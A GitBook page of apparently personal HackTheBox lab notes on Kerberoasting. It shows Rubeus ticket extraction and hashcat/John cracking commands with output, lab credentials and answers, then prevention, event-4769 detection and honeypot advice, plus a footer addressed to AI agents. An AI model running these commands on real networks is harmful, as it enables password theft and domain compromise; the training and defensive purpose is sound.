> For the complete documentation index, see [llms.txt](https://faresbltagy.gitbook.io/footprintinglabs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://faresbltagy.gitbook.io/footprintinglabs/soc-hackthebox-notes-and-labs/windows-attacks-and-defense/kerberoasting.md). # Kerberoasting In Active Directory, a [Service Principal Name (SPN)](https://learn.microsoft.com/en-us/windows/win32/ad/service-principal-names) is a unique service instance identifier. `Kerberos` uses SPNs for authentication to associate a service instance with a service logon account, which allows a client application to request that the service authenticate an account even if the client does not have the account name. When a Kerberos `TGS` service ticket is asked for, it gets encrypted with the service account's NTLM password hash. `Kerberoasting` is a post-exploitation attack that attempts to exploit this behavior by obtaining a ticket and performing offline password cracking to `open` the ticket. If the ticket opens, then the candidate password that opened the ticket is the service account's password. The success of this attack depends on the strength of the service account's password. Another factor that has some impact is the encryption algorithm used when the ticket is created, with the likely options being: * `AES` * `RC4` * `DES` There is a significant difference in the cracking speed between these three, as AES is slower to crack than the others. While security best practices recommend disabling `RC4` (and `DES`, if enabled for some reason), most environments do not. ### Attack path To obtain crackable tickets, we can use [Rubeus](https://github.com/GhostPack/Rubeus). When we run the tool with the `kerberoast` action without specifying a user, it will extract tickets for every user that has an SPN registered (this can easily be in the hundreds in large environments): ```powershell PS C:\Users\bob\Downloads> .\Rubeus.exe kerberoast /outfile:spn.txt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.1 [*] Action: Kerberoasting [*] NOTICE: AES hashes will be returned for AES-enabled accounts. [*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts. [*] Target Domain : eagle.local [*] Searching path 'LDAP://DC1.eagle.local/DC=eagle,DC=local' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' [*] Total kerberoastable users : 3 [*] SamAccountName : Administrator [*] DistinguishedName : CN=Administrator,CN=Users,DC=eagle,DC=local [*] ServicePrincipalName : http/pki1 [*] PwdLastSet : 07/08/2022 12.24.13 [*] Supported ETypes : RC4_HMAC_DEFAULT [*] Hash written to C:\Users\bob\Downloads\spn.txt [*] SamAccountName : webservice [*] DistinguishedName : CN=web service,CN=Users,DC=eagle,DC=local [*] ServicePrincipalName : cvs/dc1.eagle.local [*] PwdLastSet : 13/10/2022 13.36.04 [*] Supported ETypes : RC4_HMAC_DEFAULT [*] Hash written to C:\Users\bob\Downloads\spn.txt [*] Roasted hashes written to : C:\Users\bob\Downloads\spn.txt PS C:\Users\bob\Downloads> ```
We then need to move the extracted file with the tickets to the Kali Linux VM for cracking (we will only focus on the one for the account Administrator, even though `Rubeus` extracted two tickets). We can use `hashcat` with the hash-mode (option `-m`) `13100` for a `Kerberoastable TGS`. We also pass a dictionary file with passwords (the file `passwords.txt`) and save the output of any successfully cracked tickets to a file called `cracked.txt`: ```bash Fares22110@htb[/htb]$ hashcat -m 13100 -a 0 spn.txt passwords.txt --outfile="cracked.txt" hashcat (v6.2.5) starting Host memory required for this attack: 0 MB Dictionary cache built: * Filename..: passwords.txt * Passwords.: 10002 * Bytes.....: 76525 * Keyspace..: 10002 * Runtime...: 0 secs Approaching final keyspace - workload adjusted. Session..........: hashcat Status...........: Cracked Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP) Hash.Target......: $krb5tgs$23$*Administrator$eagle.local$http/pki1@ea...42bb2c Time.Started.....: Tue Dec 13 10:40:10 2022, (0 secs) Time.Estimated...: Tue Dec 13 10:40:10 2022, (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (passwords.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 143.1 kH/s (0.67ms) @ Accel:256 Loops:1 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests Progress.........: 10002/10002 (100.00%) Rejected.........: 0/10002 (0.00%) Restore.Point....: 9216/10002 (92.14%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#1....: 20041985 -> brady Hardware.Mon.#1..: Util: 26% Started: Tue Dec 13 10:39:35 2022 Stopped: Tue Dec 13 10:40:11 2022 ``` (If `hashcat` gives an error, we may need to pass `--force` as an argument at the end of the command.) Once `hashcat` finishes cracking, we can read the file 'cracked.txt' to see the password `Slavi123` in plain text:
Alternatively, the captured TGS hashes can be cracked with `John The Ripper`: ```bash ┌─[eu-academy-2]─[10.10.15.245]─[htb-ac-594497@htb-mw2xldpqoq]─[~] └──╼ [★]$ sudo john spn.txt --fork=4 --format=krb5tgs --wordlist=passwords.txt --pot=results.pot Created directory: /root/.john Using default input encoding: UTF-8 Loaded 3 password hashes with 3 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4]) Node numbers 1-4 of 4 (fork) Slavi123 (?) Slavi123 (?) ``` ### Prevention The success of this attack depends on the strength of the service account's password. While we should limit the number of accounts with SPNs and disable those no longer used/needed, we must ensure they have strong passwords. For any service that supports it, the password should be 100+ random characters (127 being the maximum allowed in AD), which ensures that cracking the password is practically impossible. There is also what is known as [Group Managed Service Accounts](https://learn.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/group-managed-service-accounts-overview) (`GMSA`), which is a particular type of a service account that Active Directory automatically manages; this is a perfect solution because these accounts are bound to a specific server, and no user can use them anywhere else. Additionally, Active Directory automatically rotates the password of these accounts to a random 127 characters value. ### Detection When a `TGS` is requested, an event log with ID `4769` is generated. However, AD also generates the same event ID whenever a user attempts to connect to a service, which means that the volume of this event is gigantic, and relying on it alone is virtually impossible to use as a detection method. If we happen to be in an environment where all applications support AES and only AES tickets are generated, then it would be an excellent indicator to alert on event ID `4769`. If the ticket options is set for `RC4`, that is, if `RC4` tickets are generated in the AD environment (which is not the default configuration), then we should alert and follow up on it. Here is what was logged when we requested the ticket to perform this attack:
Even though the general volume of this event is quite heavy, we still can alert against the default option on many tools. When we run 'Rubeus', it will extract a ticket for `each` user in the environment with an SPN registered; this allows us to alert if anyone generates more than ten tickets within a minute (for example, but it could be less than ten). This event ID should be grouped by the user requesting the tickets and the machine the requests originated from.
### Honeypot A `honeypot user` is a perfect detection option to configure in an AD environment; this must be a user with no real use/need in the environment, so no service tickets are generated regularly. In this case, any attempt to generate a service ticket for this account is likely malicious and worth inspecting. There are a few things to ensure when using this account: * The account must be a relatively old user, ideally one that has become bogus (advanced threat actors will not request tickets for new accounts because they likely have strong passwords and the possibility of being a honeypot user). * The password should not have been changed recently. A good target is 2+ years, ideally five or more. But the password must be strong enough that the threat agents cannot crack it. * The account must have some privileges assigned to it; otherwise, obtaining a ticket for it won't be of interest (assuming that an advanced adversary obtains tickets only for interesting accounts/higher likelihood of cracking, e.g., due to an old password). * The account must have an SPN registered, which appears legit. `IIS` and `SQL` accounts are good options because they are prevalent. An added benefit to honeypot users is that any activity with this account, whether successful or failed logon attempts, is suspicious and should be alerted. If we go back to our playground environment and configure the user `svc-iam` (probably an old IAM account leftover) with the recommendations above, then any request to obtain a TGS for that account should be alerted on:
### Q & A 1\) Connect to the target and perform a Kerberoasting attack. What is the password for the svc-iam user? Let’s start by executing a Kerberoasting attack to acquire a ticket for the svc-iam user. ```powershell .\Rubeus.exe kerberoast /outfile:spn.txt /user:svc-iam ```
Let’s move the spn.txt file to our attacking machine for cracking. I initially transferred the spn.txt file from the Downloads folder to the Share folder. ```bash smbclient \\\\10.129.49.164\\Share -U eagle/administrator%Slavi123 ```
Now it's time to crack the ticket, we can use hashcat or John or any other tool we want. ```bash sudo john spn.txt --fork=4 --format=krb5tgs --wordlist=rockyou.txt --pot=results.pot ```
Answer: mariposa 2\) After performing the Kerberoasting attack, connect to DC1 (172.16.18.3) as 'htb-student:HTB\_@cademy\_stdnt!' and look at the logs in Event Viewer. What is the ServiceSid of the webservice user? Let’s connect to DC1 (172.16.18.3) from our Windows machine using Remote Desktop.
The credentials are: htb-student / HTB\_@cademy\_stdnt! . Next, open Event Viewer and filter by Event ID 4769.
Answer: S-1-5-21-1518138621-4282902758-752445584-2110 --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://faresbltagy.gitbook.io/footprintinglabs/soc-hackthebox-notes-and-labs/windows-attacks-and-defense/kerberoasting.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.